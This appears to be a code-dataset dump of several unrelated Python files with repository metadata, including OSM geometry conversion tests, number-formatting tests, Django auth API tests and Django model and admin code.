b7b74c778b0aa20eec63d5cbf1bcac77b2fc1d78
[ "MIT" ]
null
null
null
classes/statistic/apistatistic.py
Kur0N3k0/webdock
b7b74c778b0aa20eec63d5cbf1bcac77b2fc1d78
[ "MIT" ]
null
null
null
from classes.statistic.statistic import Statistic class APIStatistic(Statistic): def __init__(self): pass def notify(self): pass
19.75
49
0.670886
17
158
6
0.647059
0.156863
0
0
0
0
0
0
0
0
0
0
0.259494
158
8
50
19.75
0.871795
0
0
0.333333
0
0
0
0
0
0
0
0
0
1
0.333333
false
0.333333
0.166667
0
0.666667
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
1
0
0
1
0
0
5
397b0a7d386a5f7675b72d437564ee9a90c93105
119
py
Python
exile/exceptions.py
pyauth/exile
38fd9c4d22edcecae0b6fd4dbc9a9d894f366b2f
[ "Apache-2.0" ]
43
2019-02-15T04:49:17.000Z
2022-01-15T08:28:19.000Z
exile/exceptions.py
pyauth/exile
38fd9c4d22edcecae0b6fd4dbc9a9d894f366b2f
[ "Apache-2.0" ]
1
2019-04-11T15:37:52.000Z
2019-04-11T15:37:52.000Z
exile/exceptions.py
pyauth/exile
38fd9c4d22edcecae0b6fd4dbc9a9d894f366b2f
[ "Apache-2.0" ]
1
2021-11-30T22:49:56.000Z
2021-11-30T22:49:56.000Z
class ExileError(Exception): pass class SCardError(ExileError): pass class YKOATHError(ExileError): pass
13.222222
30
0.731092
12
119
7.25
0.5
0.206897
0
0
0
0
0
0
0
0
0
0
0.193277
119
8
31
14.875
0.90625
0
0
0.5
0
0
0
0
0
0
0
0
0
1
0
true
0.5
0
0
0.5
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
1
0
0
0
0
0
5
39a1d97145bb68ada88d88c27432c2300f5750ce
681
py
Python
numerize/test.py
kostnerek/numerize
65af924681e794c95bf80d16b498df017f83cda2
[ "MIT" ]
47
2018-04-17T06:33:27.000Z
2022-03-10T07:07:01.000Z
numerize/test.py
kostnerek/numerize
65af924681e794c95bf80d16b498df017f83cda2
[ "MIT" ]
3
2018-04-18T01:33:40.000Z
2022-02-16T01:33:32.000Z
numerize/test.py
kostnerek/numerize
65af924681e794c95bf80d16b498df017f83cda2
[ "MIT" ]
9
2018-04-17T14:39:05.000Z
2021-11-15T23:16:03.000Z
import unittest from numerize import numerize class TestNumerizeFunc(unittest.TestCase): def test_numerize(self): self.assertEqual(numerize(1), "1") self.assertEqual(numerize(10), "10") def test_thousand(self): self.assertEqual(numerize(1000), "1K") def test_strict(self): self.assertEqual(numerize(999), "999") self.assertEqual(numerize(9999), "10.00K") def test_negative(self): self.assertEqual(numerize(-1), "-1") self.assertEqual(numerize(-10), "-10") self.assertEqual(numerize(-1000), "-1K") self.assertEqual(numerize(-9999,4), "-9.9990K") if __name__ == '__main__': unittest.main()
35.842105
55
0.649046
79
681
5.443038
0.341772
0.313953
0.481395
0.251163
0.395349
0.260465
0.260465
0.260465
0.260465
0.260465
0
0.083789
0.193833
681
19
56
35.842105
0.699454
0
0
0
0
0
0.055718
0
0
0
0
0
0.5
1
0.222222
false
0
0.111111
0
0.388889
0
0
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
1
0
1
0
0
0
0
0
0
0
5
f2d65ffa29d0be414344db3e39a3166df0f682d2
12,805
py
Python
tests/test_common_util.py
openstreetmap-polska/gugik2osm
60ebd0660ed55e3b3db0f034486a607975c5eb45
[ "MIT" ]
18
2020-01-31T11:19:28.000Z
2022-01-05T08:58:51.000Z
tests/test_common_util.py
openstreetmap-polska/gugik2osm
60ebd0660ed55e3b3db0f034486a607975c5eb45
[ "MIT" ]
103
2019-12-11T11:35:01.000Z
2022-03-01T21:10:50.000Z
tests/test_common_util.py
openstreetmap-polska/gugik2osm
60ebd0660ed55e3b3db0f034486a607975c5eb45
[ "MIT" ]
6
2020-12-06T14:53:43.000Z
2021-04-18T18:09:29.000Z
import unittest import lxml.etree from lxml import etree from app.common import util class ConversionToOSMObjectsTests(unittest.TestCase): def test_creating_node(self): point = util.InputPoint(tags={}, latitude=0.1, longitude=0.3) nodes, ways, relations = util.convert_to_osm_style_objects([point]) assert len(nodes) == 1 assert len(ways) == 0 assert len(relations) == 0 node = nodes[0] assert node.id == -1 assert node.latitude == 0.1 assert node.longitude == 0.3 def test_creating_two_nodes(self): point1 = util.InputPoint(tags={}, latitude=0.1, longitude=0.3) point2 = util.InputPoint(tags={}, latitude=1, longitude=1) nodes, ways, relations = util.convert_to_osm_style_objects([point1, point2]) assert len(nodes) == 2 assert len(ways) == 0 assert len(relations) == 0 def test_node_with_tags(self): point = util.InputPoint(tags={'test': 'test'}, latitude=0, longitude=0) nodes, ways, relations = util.convert_to_osm_style_objects([point]) node = nodes[0] assert node.tags == {'test': 'test'} def test_node_without_tags(self): point = util.InputPoint(tags={}, latitude=0, longitude=0) nodes, ways, relations = util.convert_to_osm_style_objects([point]) node = nodes[0] assert node.tags == {} def test_creating_way_from_line(self): line_coordinates = [(0, 0), (1, 1), (2, 2)] line = util.InputLine(tags={}, list_of_coordinate_pairs=line_coordinates) nodes, ways, relations = util.convert_to_osm_style_objects([line]) assert len(nodes) == 3 assert len(ways) == 1 assert len(relations) == 0 way = ways[0] assert len(way.node_ids) == 3 nodes_dict = {n.id: (n.latitude, n.longitude) for n in nodes} reconstructed_line_coordinates = [nodes_dict[node_id] for node_id in way.node_ids] assert len(reconstructed_line_coordinates) == 3 assert line_coordinates == reconstructed_line_coordinates def test_way_with_tags(self): line_coordinates = [(0, 0), (1, 1), (2, 2)] line = util.InputLine(tags={'test': 'test'}, list_of_coordinate_pairs=line_coordinates) nodes, ways, relations = util.convert_to_osm_style_objects([line]) way = ways[0] assert way.tags == {'test': 'test'} def test_way_without_tags(self): line_coordinates = [(0, 0), (1, 1), (2, 2)] line = util.InputLine(tags={}, list_of_coordinate_pairs=line_coordinates) nodes, ways, relations = util.convert_to_osm_style_objects([line]) way = ways[0] assert way.tags == {} def test_creating_way_from_polygon(self): polygon_coordinates = [(0, 0), (0, 1), (1, 1), (1, 0), (0, 0)] polygon = util.InputPolygon(tags={}, outer_ring=polygon_coordinates, inner_rings=[]) nodes, ways, relations = util.convert_to_osm_style_objects([polygon]) assert len(nodes) == 4 # one node is reused assert len(ways) == 1 assert len(relations) == 0 way = ways[0] assert len(way.node_ids) == 5 nodes_dict = {n.id: (n.latitude, n.longitude) for n in nodes} reconstructed_polygon_coordinates = [nodes_dict[node_id] for node_id in way.node_ids] assert len(reconstructed_polygon_coordinates) == 5 assert polygon_coordinates == reconstructed_polygon_coordinates def test_creating_relation_from_donut_polygon(self): outer_ring_coordinates = [(0.3, 0.3), (0, 10), (10, 10), (10, 0), (0.3, 0.3)] inner_ring_coordinates = [[(3.3, 3.3), (4, 4), (4, 3), (3.3, 3.3)]] polygon = util.InputPolygon(tags={}, outer_ring=outer_ring_coordinates, inner_rings=inner_ring_coordinates) nodes, ways, relations = util.convert_to_osm_style_objects([polygon]) assert len(nodes) == 7 # two nodes are reused assert len(ways) == 2 assert len(relations) == 1 relation = relations[0] assert len(relation.members) == 2 nodes_dict = {n.id: (n.latitude, n.longitude) for n in nodes} outer_ring = [member for member in relation.members if member.role == 'outer'][0] inner_ring = [member for member in relation.members if member.role == 'inner'][0] outer_nodes = [way for way in ways if way.id == outer_ring.id][0].node_ids reconstructed_outer_ring = [nodes_dict[node_id] for node_id in outer_nodes] assert len(reconstructed_outer_ring) == 5 assert outer_ring_coordinates == reconstructed_outer_ring inner_nodes = [way for way in ways if way.id == inner_ring.id][0].node_ids reconstructed_inner_ring = [[nodes_dict[node_id] for node_id in inner_nodes]] assert len(reconstructed_inner_ring) == 1 assert len(reconstructed_inner_ring[0]) == 4 assert inner_ring_coordinates == reconstructed_inner_ring def test_creating_relation_from_multipolygon(self): outer_rings_coordinates = [[(0.3, 0.3), (0, 10), (10, 10), (10, 0), (0.3, 0.3)], [(20, 20), (20, 30), (30, 30), (30, 20), (20, 20)]] inner_ring_coordinates = [[(3.3, 3.3), (4, 4), (4, 3), (3.3, 3.3)]] multipolygon = util.InputMultiPolygon(tags={}, outer_rings=outer_rings_coordinates, inner_rings=inner_ring_coordinates) nodes, ways, relations = util.convert_to_osm_style_objects([multipolygon]) assert len(nodes) == 11 # two nodes are reused assert len(ways) == 3 assert len(relations) == 1 relation = relations[0] assert len(relation.members) == 3 outer_rings = [member for member in relation.members if member.role == 'outer'] assert len(outer_rings) == 2 def test_relation_with_tags(self): outer_ring_coordinates = [(0, 0), (0, 10), (10, 10), (10, 0), (0, 0)] inner_ring_coordinates = [[(3, 3), (4, 4), (4, 3), (3, 3)]] polygon = util.InputPolygon(tags={'test': 'test'}, outer_ring=outer_ring_coordinates, inner_rings=inner_ring_coordinates) nodes, ways, relations = util.convert_to_osm_style_objects([polygon]) # 'type': 'multipolygon' is always added assert relations[0].tags == {'type': 'multipolygon', 'test': 'test'} def test_relation_without_tags(self): outer_ring_coordinates = [(0, 0), (0, 10), (10, 10), (10, 0), (0, 0)] inner_ring_coordinates = [[(3, 3), (4, 4), (4, 3), (3, 3)]] polygon = util.InputPolygon(tags={}, outer_ring=outer_ring_coordinates, inner_rings=inner_ring_coordinates) nodes, ways, relations = util.convert_to_osm_style_objects([polygon]) # 'type': 'multipolygon' is always added assert relations[0].tags == {'type': 'multipolygon'} def test_creating_many_objects(self): # create point point = util.InputPoint(tags={'point': 'yes'}, latitude=0, longitude=0) # create line line_coordinates = [(0, 0), (1, 1), (2, 2)] line = util.InputLine(tags={'line': 'yes'}, list_of_coordinate_pairs=line_coordinates) # create polygon outer_ring_coordinates = [(0, 0), (0, 10), (10, 10), (10, 0), (0, 0)] inner_ring_coordinates = [[(3, 3), (4, 4), (4, 3), (3, 3)]] polygon = util.InputPolygon(tags={}, outer_ring=outer_ring_coordinates, inner_rings=inner_ring_coordinates) nodes, ways, relations = util.convert_to_osm_style_objects([point, line, polygon]) assert len(nodes) == 9 assert len(ways) == 3 assert len(relations) == 1 assert len([n for n in nodes if n.tags.get('point')]) == 1 way = [w for w in ways if w.tags.get('line')][0] assert len(way.node_ids) == 3 nodes_dict = {n.id: (n.latitude, n.longitude) for n in nodes} reconstructed_line_coordinates = [nodes_dict[node_id] for node_id in way.node_ids] assert len(reconstructed_line_coordinates) == 3 assert line_coordinates == reconstructed_line_coordinates relation = relations[0] assert len(relation.members) == 2 nodes_dict = {n.id: (n.latitude, n.longitude) for n in nodes} outer_ring = [member for member in relation.members if member.role == 'outer'][0] inner_ring = [member for member in relation.members if member.role == 'inner'][0] outer_nodes = [way for way in ways if way.id == outer_ring.id][0].node_ids reconstructed_outer_ring = [nodes_dict[node_id] for node_id in outer_nodes] assert len(reconstructed_outer_ring) == 5 assert outer_ring_coordinates == reconstructed_outer_ring inner_nodes = [way for way in ways if way.id == inner_ring.id][0].node_ids reconstructed_inner_ring = [[nodes_dict[node_id] for node_id in inner_nodes]] assert len(reconstructed_inner_ring) == 1 assert len(reconstructed_inner_ring[0]) == 4 assert inner_ring_coordinates == reconstructed_inner_ring def test_node_tag_merging(self): point1 = util.InputPoint(tags={'p': 1}, latitude=0, longitude=0) point2 = util.InputPoint(tags={'point': 'no'}, latitude=0, longitude=0) point3 = util.InputPoint(tags={'point': 'yes', 'pp': 2}, latitude=0, longitude=0) nodes, ways, relations = util.convert_to_osm_style_objects([point1, point2, point3]) assert len(nodes) == 1 assert len(ways) == 0 assert len(relations) == 0 assert nodes[0].tags == {'p': 1, 'point': 'yes', 'pp': 2} class ConversionToXMLTests(unittest.TestCase): def test_with_one_node(self): point = util.InputPoint(tags={}, latitude=0.1, longitude=1.3) nodes, ways, relations = util.convert_to_osm_style_objects([point]) node = nodes[0] xml = node.as_xml_element() assert xml.tag == 'node' assert len(list(xml)) == 0 assert xml.get('lat') == '0.1' assert xml.get('lon') == '1.3' assert xml.get('id') == '-1' def test_with_two_nodes(self): point1 = util.InputPoint(tags={}, latitude=0.1, longitude=1.3) point2 = util.InputPoint(tags={'key1': 'value1', 'key2': 'value2'}, latitude=0, longitude=1) nodes, ways, relations = util.convert_to_osm_style_objects([point1, point2]) node1 = [n for n in nodes if n.latitude == 0.1 and n.longitude == 1.3][0] node2 = [n for n in nodes if n.latitude == 0 and n.longitude == 1][0] xml1 = node1.as_xml_element() xml2 = node2.as_xml_element() assert len(list(xml1)) == 0 assert len(list(xml2)) == 2 assert xml2[0].tag == 'tag' assert xml2[0].get('k') == 'key1' assert xml2[0].get('v') == 'value1' assert xml2[1].tag == 'tag' assert xml2[1].get('k') == 'key2' assert xml2[1].get('v') == 'value2' def test_with_two_intersecting_nodes(self): point1 = util.InputPoint(tags={}, latitude=0.1, longitude=1.3) point2 = util.InputPoint(tags={'key1': 'value1', 'key2': 'value2'}, latitude=0.1, longitude=1.3) nodes, ways, relations = util.convert_to_osm_style_objects([point1, point2]) node = nodes[0] xml = node.as_xml_element() tags = {child.get('k'): child.get('v') for child in xml} assert xml.tag == 'node' assert len(list(xml)) == 2 assert xml.get('lat') == '0.1' assert xml.get('lon') == '1.3' assert xml.get('id') == '-1' assert tags['key1'] == 'value1' assert tags['key2'] == 'value2' def test_with_one_line(self): line_coordinates = [(0, 0), (1, 1), (2, 2)] line = util.InputLine(tags={'test': 'test'}, list_of_coordinate_pairs=line_coordinates) nodes, ways, relations = util.convert_to_osm_style_objects([line]) way = ways[0] xml = way.as_xml_element() tags = {child.get('k'): child.get('v') for child in xml if child.tag == 'tag'} nodes_references = [child for child in xml if child.tag == 'nd'] assert xml.tag == 'way' assert len(list(xml)) == 4 assert len(nodes_references) == 3 assert tags['test'] == 'test' def test_with_two_lines(self): pass def test_with_two_intersecting_lines(self): pass def test_with_one_simple_polygon(self): pass def test_with_two_simple_polygons(self): pass def test_with_one_donut_polygon(self): pass def test_with_one_donut_polygon_with_many_holes(self): pass def test_with_one_simple_multipolygon(self): pass def test_with_one_donut_multipolygon(self): pass def test_with_one_node_one_intersecting_line(self): pass def test_with_one_node_one_line_one_polygon(self): pass if __name__ == "__main__": unittest.main()
45.896057
140
0.631472
1,774
12,805
4.339346
0.069335
0.054949
0.042089
0.051442
0.802806
0.765783
0.738244
0.708496
0.668745
0.66212
0
0.038797
0.231082
12,805
278
141
46.061151
0.743043
0.013901
0
0.534483
0
0
0.025678
0
0
0
0
0
0.353448
1
0.12069
false
0.043103
0.017241
0
0.146552
0
0
0
0
null
0
0
0
1
1
1
1
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
5
8464f35c1784b7440801b5bb65c11b30e7f3b665
97
py
Python
enthought/contexts/with_mask.py
enthought/etsproxy
4aafd628611ebf7fe8311c9d1a0abcf7f7bb5347
[ "BSD-3-Clause" ]
3
2016-12-09T06:05:18.000Z
2018-03-01T13:00:29.000Z
enthought/contexts/with_mask.py
enthought/etsproxy
4aafd628611ebf7fe8311c9d1a0abcf7f7bb5347
[ "BSD-3-Clause" ]
1
2020-12-02T00:51:32.000Z
2020-12-02T08:48:55.000Z
enthought/contexts/with_mask.py
enthought/etsproxy
4aafd628611ebf7fe8311c9d1a0abcf7f7bb5347
[ "BSD-3-Clause" ]
null
null
null
# proxy module from __future__ import absolute_import from codetools.contexts.with_mask import *
24.25
42
0.845361
13
97
5.846154
0.769231
0
0
0
0
0
0
0
0
0
0
0
0.113402
97
3
43
32.333333
0.883721
0.123711
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
5
fff7cdcaf1ac7afb5028494860d74990157f0bbb
3,204
py
Python
account/tests/test_views.py
NimaAram1/Lemoon
e0a61431279dd6a44d94120d48fc69c3616d0bd4
[ "MIT" ]
null
null
null
account/tests/test_views.py
NimaAram1/Lemoon
e0a61431279dd6a44d94120d48fc69c3616d0bd4
[ "MIT" ]
null
null
null
account/tests/test_views.py
NimaAram1/Lemoon
e0a61431279dd6a44d94120d48fc69c3616d0bd4
[ "MIT" ]
null
null
null
from rest_framework.test import APITestCase from rest_framework import status from django.contrib.auth import get_user_model from django.contrib.auth import authenticate from rest_framework_simplejwt.tokens import RefreshToken from ..utils import generate6Code User = get_user_model() class AuthenticationTests(APITestCase): def test_registeration(self): data = { "email": "majid@gmail.com", "first_name": "majid", "last_name": "majidi", "birth_date": "2000-01-01", "password": "nicepasswordihave", "repeated_password": "nicepasswordihave" } response = self.client.post("http://127.0.0.1:8000/api/wtype/registeration", data) self.assertEqual(response.status_code, status.HTTP_201_CREATED) def test_login(self): user = User.objects.create_user(email="majid@gmail.com",first_name="majid", last_name="majidi",birth_date="2000-01-01",password="nicepasswordihave") data = { "email": "majid@gmail.com", "password": "nicepasswordihave" } response = self.client.post("http://127.0.0.1:8000/api/wtype/login", data) self.assertEqual(response.status_code, status.HTTP_200_OK) def test_logout(self): userCreateInstance = User.objects.create_user(email="majid@gmail.com",first_name="majid", last_name="majidi",birth_date="2000-01-01",password="nicepasswordihave") user = authenticate(email="majid@gmail.com", password="nicepasswordihave") refreshToken = RefreshToken.for_user(user) data = { "refresh": str(refreshToken) } self.client.credentials(HTTP_AUTHORIZATION="Bearer "+str(refreshToken.access_token)) response = self.client.post("http://127.0.0.1:8000/api/wtype/logout", data) self.assertEqual(response.status_code, status.HTTP_204_NO_CONTENT) def test_refresh_login(self): userCreateInstance = User.objects.create_user(email="majid@gmail.com",first_name="majid", last_name="majidi",birth_date="2000-01-01",password="nicepasswordihave") user = authenticate(email="majid@gmail.com", password="nicepasswordihave") refreshToken = RefreshToken.for_user(user) data = { "refresh": str(refreshToken) } response = self.client.post("http://127.0.0.1:8000/api/wtype/login-refresh", data) self.assertEqual(response.status_code, status.HTTP_200_OK) def test_verify_code(self): userCreateInstance = User.objects.create_user(email="majid@gmail.com",first_name="majid", last_name="majidi",birth_date="2000-01-01",password="nicepasswordihave") code_verify = generate6Code() User.objects.filter(email="majid@gmail.com").update(is_active=False) User.objects.filter(email="majid@gmail.com").update(verify_code=code_verify) data = { "verify_code": code_verify, "password": "nicepasswordihave" } response = self.client.post("http://127.0.0.1:8000/api/wtype/verify-code-enter/secret/majid@gmail.com", data) self.assertEqual(response.status_code, status.HTTP_200_OK)
47.117647
117
0.674469
381
3,204
5.511811
0.209974
0.052381
0.068095
0.085714
0.743333
0.71381
0.705238
0.705238
0.621429
0.621429
0
0.041361
0.192572
3,204
68
118
47.117647
0.77039
0
0
0.409836
0
0.016393
0.241498
0
0
0
0
0
0.081967
1
0.081967
false
0.163934
0.098361
0
0.196721
0
0
0
0
null
0
0
0
0
1
1
1
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
5
08019df8c3729d3122e4a38310efe64c1991a7a4
48
py
Python
QWeb/keywords/__init__.py
kivipe/qweb
abf5881aa67412e4a243b13a59528a3c80aa2f52
[ "Apache-2.0" ]
33
2021-03-16T12:26:44.000Z
2022-03-30T17:44:57.000Z
QWeb/keywords/__init__.py
kivipe/qweb
abf5881aa67412e4a243b13a59528a3c80aa2f52
[ "Apache-2.0" ]
24
2021-03-18T16:21:37.000Z
2022-03-24T17:52:14.000Z
QWeb/keywords/__init__.py
kivipe/qweb
abf5881aa67412e4a243b13a59528a3c80aa2f52
[ "Apache-2.0" ]
13
2021-03-24T17:48:50.000Z
2022-02-25T03:22:01.000Z
"""Directory containing all keyword modules."""
24
47
0.75
5
48
7.2
1
0
0
0
0
0
0
0
0
0
0
0
0.104167
48
1
48
48
0.837209
0.854167
0
null
0
null
0
0
null
0
0
0
null
1
null
true
0
0
null
null
null
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
1
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
5
0804dc198deb2d1e9aff6acdbdfff68040ad4e27
164
py
Python
IRN/util/helpers.py
Barry-Menglong-Yao/conll2019-snopes-crawling
f803a99e27866036b92175c7d9786611ad1f389b
[ "Apache-2.0" ]
1
2021-12-28T16:28:19.000Z
2021-12-28T16:28:19.000Z
IRN/util/helpers.py
Barry-Menglong-Yao/conll2019-snopes-crawling
f803a99e27866036b92175c7d9786611ad1f389b
[ "Apache-2.0" ]
null
null
null
IRN/util/helpers.py
Barry-Menglong-Yao/conll2019-snopes-crawling
f803a99e27866036b92175c7d9786611ad1f389b
[ "Apache-2.0" ]
null
null
null
import os import time import json import torch import pickle import numpy as np from PIL import Image from typing import List, Tuple from util.config import Config
16.4
30
0.823171
28
164
4.821429
0.607143
0
0
0
0
0
0
0
0
0
0
0
0.164634
164
9
31
18.222222
0.985401
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
5
080fbbb14028d99d625fdfce5de252704b738b89
197
py
Python
coop_cms/apps/test_app/admin.py
ljean/coop_cms
531f65ceb9ad82c113597d15b764dbcf51264794
[ "BSD-3-Clause" ]
3
2016-01-29T10:55:09.000Z
2022-03-08T16:02:12.000Z
coop_cms/apps/test_app/admin.py
ljean/coop_cms
531f65ceb9ad82c113597d15b764dbcf51264794
[ "BSD-3-Clause" ]
11
2015-03-07T17:30:24.000Z
2016-07-13T09:40:43.000Z
coop_cms/apps/test_app/admin.py
ljean/coop_cms
531f65ceb9ad82c113597d15b764dbcf51264794
[ "BSD-3-Clause" ]
5
2018-08-30T09:03:22.000Z
2019-09-10T13:01:56.000Z
# -*- coding: utf-8 -*- """admin""" from django.contrib import admin from coop_cms.apps.test_app import models @admin.register(models.TestClass) class TestClassAdmin(admin.ModelAdmin): pass
17.909091
41
0.736041
26
197
5.5
0.769231
0.125874
0
0
0
0
0
0
0
0
0
0.005814
0.126904
197
10
42
19.7
0.825581
0.142132
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0.2
0.4
0
0.6
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
1
1
0
1
0
0
5
0838aa3bd6f0c7bcc46c91ca59bfbfe2976839d2
2,373
py
Python
inventory/models.py
aruppcb/A-webserver-with-Django
2ece35a1f7813c3b7f83a45d063b0b2db1a57822
[ "MIT" ]
null
null
null
inventory/models.py
aruppcb/A-webserver-with-Django
2ece35a1f7813c3b7f83a45d063b0b2db1a57822
[ "MIT" ]
null
null
null
inventory/models.py
aruppcb/A-webserver-with-Django
2ece35a1f7813c3b7f83a45d063b0b2db1a57822
[ "MIT" ]
null
null
null
from django.db import models # Create your models here. class Item(models.Model): Record_ID = models.IntegerField() Record_Type = models.CharField(max_length=200, blank=False) Campaign_ID = models.IntegerField() Campaign = models.CharField(max_length=200, blank=False) Budget = models.DecimalField(max_digits=30, decimal_places=2) Portofolio_ID = models.IntegerField() Campaign_Start_Date = models.DateTimeField() class Meta: abstract = True def __str__(self): return 'Record_ID: {0} Record_Type: {1}'.format(self.Record_ID, self.Record_Type) class HSC(Item): pass class PPC(Item): pass class Bidopt(Item): pass # class Desktops(models.Model): # type = models.CharField(max_length=200, blank=False) # price = models.IntegerField() # # choices = ( # ('SOLD', 'Item already purchased'), # ('AVAILABLE', 'Item ready to be purchased'), # ('RESTOCKING', 'Item restocking in few days') # ) # # status = models.CharField(max_length=10, choices=choices, default='SOLD') # issues = models.CharField(max_length=50, default="No Issues") # # def __str__(self): # return 'Type: {0} Price: {1}'.format(self.type, self.price) # # # class Laptops(models.Model): # type = models.CharField(max_length=200, blank=False) # price = models.IntegerField() # # choices = ( # ('SOLD', 'Item already purchased'), # ('AVAILABLE', 'Item ready to be purchased'), # ('RESTOCKING', 'Item restocking in few days') # ) # # status = models.CharField(max_length=10, choices=choices, default='SOLD') # issues = models.CharField(max_length=50, default="No Issues") # # def __str__(self): # return 'Type: {0} Price: {1}'.format(self.type, self.price) # # # class Mobiles(models.Model): # type = models.CharField(max_length=200, blank=False) # price = models.IntegerField() # # choices = ( # ('SOLD', 'Item already purchased'), # ('AVAILABLE', 'Item ready to be purchased'), # ('RESTOCKING', 'Item restocking in few days') # ) # # status = models.CharField(max_length=10, choices=choices, default='SOLD') # issues = models.CharField(max_length=50, default="No Issues") # # def __str__(self): # return 'Type: {0} Price: {1}'.format(self.type, self.price)
29.6625
89
0.63759
281
2,373
5.245552
0.245552
0.11194
0.134328
0.179104
0.719132
0.719132
0.719132
0.69403
0.666214
0.666214
0
0.020343
0.212811
2,373
79
90
30.037975
0.768737
0.678045
0
0.157895
0
0
0.043478
0
0
0
0
0
0
1
0.052632
false
0.157895
0.052632
0.052632
0.789474
0
0
0
0
null
0
0
1
0
1
1
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
5